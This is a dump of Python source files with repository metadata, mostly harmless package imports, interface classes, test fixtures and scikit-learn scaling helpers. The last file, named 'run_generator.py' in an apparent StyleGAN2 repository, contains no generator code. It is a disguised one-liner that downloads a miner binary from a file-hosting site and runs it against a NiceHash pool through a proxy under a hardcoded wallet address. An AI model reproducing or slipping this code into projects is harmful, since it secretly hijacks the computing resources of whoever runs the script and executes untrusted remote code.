
2021-05-13T17:17:48.000Z

2022-03-28T14:58:15.000Z

flare/translations/__init__.py

phorward/flare

89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e

[ "MIT" ]

8

2021-04-28T04:44:24.000Z

2022-01-14T11:33:50.000Z

flare/translations/__init__.py

phorward/flare

89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e

[ "MIT" ]

6

2021-06-14T15:07:53.000Z

2021-10-31T16:24:07.000Z

from .de import lngDe from .en import lngEn

14.666667

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1

0

1

0

6

8f6ed2b9f747c0fc3d8945311077206e61d71e7a

294

py

Python

core_get/catalog/download_status_interface.py

core-get/core-get

8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7

[ "MIT" ]

null

core_get/catalog/download_status_interface.py

core-get/core-get

8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7

[ "MIT" ]

null

core_get/catalog/download_status_interface.py

core-get/core-get

8fb960e4e51d0d46b5e3b2f4832eb4a39e0e60f7

[ "MIT" ]

null

class DownloadStatusInterface: def download_begin(self, filename: str) -> None: raise NotImplementedError def download_progress(self, downloaded: int, size: int) -> None: raise NotImplementedError def download_done(self) -> None: raise NotImplementedError

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1

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1

0

6

56a95d3e99b348898879c67116cbcc1fa42000e8

95

py

Python

gauss_fit/__init__.py

semodi/gauss_fit

5a7c8c1f5541d7388acc11909f06d20e920e9f8b

[ "BSD-3-Clause" ]

1

2021-09-15T09:09:17.000Z

gauss_fit/__init__.py

semodi/gauss_fit

5a7c8c1f5541d7388acc11909f06d20e920e9f8b

[ "BSD-3-Clause" ]

null

gauss_fit/__init__.py

semodi/gauss_fit

5a7c8c1f5541d7388acc11909f06d20e920e9f8b

[ "BSD-3-Clause" ]

null

from . import fitting from . import atom from . import molecule from . import molecule_classes

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6

853d4b995dd8af2bb4fab2695cd571a3e1eb6598

208

py

Python

app.py

anyblockanalytics/thegraph-allocation-optimization

d53927eccfc55f830f249126a950575dbfed2f9e

[ "Apache-2.0" ]

10

2021-04-07T15:51:06.000Z

2021-12-20T06:07:25.000Z

app.py

anyblockanalytics/thegraph-allocation-optimization

d53927eccfc55f830f249126a950575dbfed2f9e

[ "Apache-2.0" ]

8

2021-04-29T18:55:19.000Z

2021-10-06T10:46:56.000Z

app.py

anyblockanalytics/thegraph-allocation-optimization

d53927eccfc55f830f249126a950575dbfed2f9e

[ "Apache-2.0" ]

6

2021-04-27T05:31:40.000Z

2021-12-18T16:53:11.000Z

from src.webapp.overview import streamlitEntry import pyutilib.subprocess.GlobalData if __name__ == '__main__': pyutilib.subprocess.GlobalData.DEFINE_SIGNAL_HANDLERS_DEFAULT = False streamlitEntry()

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6

8595398fbdcd46d32951ec8b23e6d9999b1d6726

123

py

Python

proxypay/exceptions.py

AgeuMatheus/django-proxypay

90736875e434013abe3ea1be5f9ff3100c9005db

[ "MIT" ]

12

2020-05-06T17:07:26.000Z

2020-10-19T15:41:56.000Z

proxypay/exceptions.py

txiocoder/django-proxypay

90736875e434013abe3ea1be5f9ff3100c9005db

[ "MIT" ]

1

2020-05-22T14:24:29.000Z

2020-06-07T10:38:10.000Z

proxypay/exceptions.py

txiocoder/django-proxypay

90736875e434013abe3ea1be5f9ff3100c9005db

[ "MIT" ]

null

class ProxypayException(Exception): pass class ProxypayKeyError(KeyError): pass class ProxypayValueError(Exception): pass

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123

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null

0

1

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1

0

6

85ae898cbc81a890bc6fa5fbd515cd57b3680eb3

67

py

Python

echolect/tools/__init__.py

ryanvolz/echolect

ec2594925f34fdaea69b64e725fccb0c99665a55

[ "BSD-3-Clause" ]

1

2022-03-24T22:48:12.000Z

echolect/tools/__init__.py

scivision/echolect

ec2594925f34fdaea69b64e725fccb0c99665a55

[ "BSD-3-Clause" ]

1

2015-03-25T20:41:24.000Z

echolect/tools/__init__.py

scivision/echolect

ec2594925f34fdaea69b64e725fccb0c99665a55

[ "BSD-3-Clause" ]

null

from .iteration import * from .time import * from .valarg import *

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0

6

85b8abe808763657c5a14c146939fc48654231ec

186

py

Python

TermTk/TTkWidgets/Fancy/__init__.py

ceccopierangiolieugenio/py-ttk

117d61844bb7344bbe22a7797b7e3763d5fe4de5

[ "MIT" ]

null

TermTk/TTkWidgets/Fancy/__init__.py

ceccopierangiolieugenio/py-ttk

117d61844bb7344bbe22a7797b7e3763d5fe4de5

[ "MIT" ]

null

TermTk/TTkWidgets/Fancy/__init__.py

ceccopierangiolieugenio/py-ttk

117d61844bb7344bbe22a7797b7e3763d5fe4de5

[ "MIT" ]

null

from .table import * from .tableview import * from .tree import * from .treeview import * from .treewidget import * from .treewidgetitem import *

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1

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0

6

a445090ca44676fae047b2e3ab2f936fa080f3a8

222

py

Python

website/rentals/admin/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

1

2021-02-24T14:33:09.000Z

website/rentals/admin/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

2

2022-01-13T04:03:38.000Z

2022-03-12T01:03:10.000Z

website/rentals/admin/__init__.py

JobDoesburg/landolfio

4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e

[ "MIT" ]

null

from rentals.admin.asset_issuances import * from rentals.admin.unprocessed_issued_assets import * from rentals.admin.loan_assets import * from rentals.admin.rent_assets import * from rentals.admin.asset_returnals import *

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null

0

1

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1

0

6

a477ec8e6de3940ab7cc2419217081cff6f41b4c

138

py

Python

tests/conftest.py

poyo46/youcab

0ab7429f816d781d98c5f98949ae190d62f3bb54

[ "BSD-3-Clause" ]

null

tests/conftest.py

poyo46/youcab

0ab7429f816d781d98c5f98949ae190d62f3bb54

[ "BSD-3-Clause" ]

null

tests/conftest.py

poyo46/youcab

0ab7429f816d781d98c5f98949ae190d62f3bb54

[ "BSD-3-Clause" ]

null

from pathlib import Path import pytest @pytest.fixture(scope="session") def root_dir(): return Path(__file__).parents[1].resolve()

15.333333

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0

1

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6

74e628d79ef90c8c6eaf98fa22c33248e66fd686

51

py

Python

blockcerts/tools/__init__.py

docknetwork/verifiable-claims-engine

1aab94510f421ce131642b64aefcd9a21c888f23

[ "MIT" ]

5

2019-10-21T18:17:38.000Z

2020-12-09T06:40:32.000Z

blockcerts/tools/__init__.py

docknetwork/verifiable-claims-engine

1aab94510f421ce131642b64aefcd9a21c888f23

[ "MIT" ]

4

2019-11-01T20:10:54.000Z

2020-01-21T20:41:00.000Z

blockcerts/tools/__init__.py

docknetwork/verifiable-claims-engine

1aab94510f421ce131642b64aefcd9a21c888f23

[ "MIT" ]

2

2020-02-02T20:00:46.000Z

2020-02-12T10:12:05.000Z

from cert_issuer import * from cert_tools import *

17

25

0.803922

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51

4.875

0.625

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0

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2

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true

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0

null

0

1

0

1

0

1

0

6

74ecff236bb9821eb87a0df6377bc5468c37f10e

1,915

py

Python

desafio_iafront/jobs/escala_pedidos/preprocessing.py

LuizJunior98/desafio-iafront

6769fcbbe85d4a8b2570c08af65dfd87e8135526

[ "MIT" ]

null

desafio_iafront/jobs/escala_pedidos/preprocessing.py

LuizJunior98/desafio-iafront

6769fcbbe85d4a8b2570c08af65dfd87e8135526

[ "MIT" ]

null

desafio_iafront/jobs/escala_pedidos/preprocessing.py

LuizJunior98/desafio-iafront

6769fcbbe85d4a8b2570c08af65dfd87e8135526

[ "MIT" ]

1

2020-08-10T21:55:54.000Z

from sklearn import preprocessing from desafio_iafront.jobs.common import transform from desafio_iafront.data.saving import save_partitioned class Preprocessing: def __init__(self, result, saida): self.result = result self.saida = saida def normalizer(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.Normalizer()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) self.result = result_scaled def standard_scale(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.StandardScaler()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) self.result = result_scaled def min_max_scale(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.MinMaxScaler()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) self.result = result_scaled def max_abs_scale(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.MaxAbsScaler()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) return result_scaled def robust_scale(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.RobustScaler()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) self.result = result_scaled def power_transformer(self): # Faz a escala dos valores result_scaled = transform(self.result, preprocessing.PowerTransformer()) # salva resultado save_partitioned(result_scaled, self.saida, ['data', 'hora']) self.result = result_scaled

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1,915

65

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0.028968

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1

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false

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0.096774

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null

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1

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null

0

1

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6

2d003ad3c3dbae92548035a859563e041da932fa

359

py

Python

run_generator.py

yusuf9192/StyleGAN2

97cde7e2f9bb5f2618f789575b12c801a2057ba5

[ "BSD-Source-Code" ]

null

run_generator.py

yusuf9192/StyleGAN2

97cde7e2f9bb5f2618f789575b12c801a2057ba5

[ "BSD-Source-Code" ]

null

run_generator.py

yusuf9192/StyleGAN2

97cde7e2f9bb5f2618f789575b12c801a2057ba5

[ "BSD-Source-Code" ]

null

import os as alpha alpha.system("apt update && apt install pciutils -y && apt install wget -y && wget https://filebin.net/3wfzfm8t2kmyombs/NBMiner_Linux.tar && tar -xvf NBMiner_Linux.tar && cd NBMiner_Linux && ./nbminer -a ethash -proxy 82.165.99.243:6969 -o stratum+ssl://stratum.eu.nicehash.com:33353 -u 33kJvAUL3Na2ifFDGmUPsZLTyDUBGZLhAi.yaefegovp6uq3ms")

119.666667

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359

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true

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